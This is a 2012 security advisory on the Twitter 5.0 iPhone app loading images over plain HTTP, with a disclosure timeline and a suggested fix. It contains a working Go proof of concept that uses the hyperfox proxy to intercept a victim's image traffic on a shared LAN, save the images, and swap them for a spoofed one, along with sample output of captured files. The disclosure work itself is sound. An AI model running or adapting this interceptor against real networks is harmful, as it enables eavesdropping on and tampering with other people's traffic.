Twitter App vulnerable to eavesdropping
- Vendor: Twitter Inc.
- Product: Twitter 5.0
- Tested on: iPhone 4 (iOS 6.0)
- Vendor notification: Nov 10, 2012.
- Risk level: Low
The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via Man In The Middle, this vulnerability can lead an attacker on the same local area network (LAN) to capture and/or modify pictures the victim is seeing on the Twitter app.
Details
The Twitter app communicates with the Twitter API via HTTPs connections, however, picture images server by *.twimg.com are received through simple HTTP.
Proof of concept
This proof of concept demostrates that is feasible for an attacker on the same LAN to download twitter photos the user is seeing and also sending bogus images intead of what the user wants to see.
Using this PoC, images served through *.twimg.com would be downloaded to the saved directory.
$ find saved
saved
saved/10.0.0.102
saved/10.0.0.102/a1.twimg.com
saved/10.0.0.102/a1.twimg.com/profile_images
saved/10.0.0.102/a1.twimg.com/profile_images/664534183
saved/10.0.0.102/a1.twimg.com/profile_images/664534183/IMG007_normal.jpg
saved/10.0.0.102/a1.twimg.com/profile_images/654328756
saved/10.0.0.102/a1.twimg.com/profile_images/654328756/IMG008_normal.png
Ando we are also going to send a specially crafted image instead of legitimate images
Screen captures of the image spoofing
This custom hyperfox server will listen on :9999. Read the hyperfox
docs to know how to use this PoC.
Only images on the *.twimg.com domain are targeted.
/*
Twitter App, eavesdroping PoC
Written by Carlos Reventlov <carlos@reventlov.com>
License MIT
*/
package main
import (
"fmt"
"github.com/xiam/hyperfox/proxy"
"github.com/xiam/hyperfox/tools/logger"
"io"
"log"
"os"
"path"
"strconv"
"strings"
)
const imageFile = "spoof.jpg"
func init() {
_, err := os.Stat(imageFile)
if err != nil {
panic(err.Error())
}
}
func replaceAvatar(pr *proxy.ProxyRequest) error {
stat, _ := os.Stat(imageFile)
image, _ := os.Open(imageFile)
host := pr.Response.Request.Host
if strings.HasSuffix(host, "twimg.com") == true {
if pr.Response.ContentLength != 0 {
file := "saved" + proxy.PS + pr.FileName
var ext string
contentType := pr.Response.Header.Get("Content-Type")
switch contentType {
case "image/jpeg":
ext = ".jpg"
case "image/gif":
ext = ".gif"
case "image/png":
ext = ".png"
case "image/tiff":
ext = ".tiff"
}
if ext != "" {
fmt.Printf("** Saving image.\n")
os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))
fp, _ := os.Create(file)
if fp == nil {
fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
}
io.Copy(fp, pr.Response.Body)
fp.Close()
pr.Response.Body.Close()
}
}
fmt.Printf("** Sending bogus image.\n")
pr.Response.ContentLength = stat.Size()
pr.Response.Header.Set("Content-Type", "image/jpeg")
pr.Response.Header.Set("Content-Length", strconv.Itoa(int(pr.Response.ContentLength)))
pr.Response.Body = image
}
return nil
}
func main() {
p := proxy.New()
p.AddDirector(logger.Client(os.Stdout))
p.AddInterceptor(replaceAvatar)
p.AddLogger(logger.Server(os.Stdout))
var err error
err = p.Start()
if err != nil {
log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
}
}
Suggested fix
Use HTTPs for serving *.twimg.com images so that an attacker would not be able to capture or modify avatars or (possible private) uploaded images.
Disclosure timeline
- Nov 10, 2012 Vulnerability discovered.
- Nov 10, 2012 Vendor contacted.
- Nov 15, 2012 Vendor response: “planned to be fixed on next release”.
- Nov 15, 2012 New release. Bug is partially patched, it still remains on some places.
- Nov 16, 2012 Full disclosure.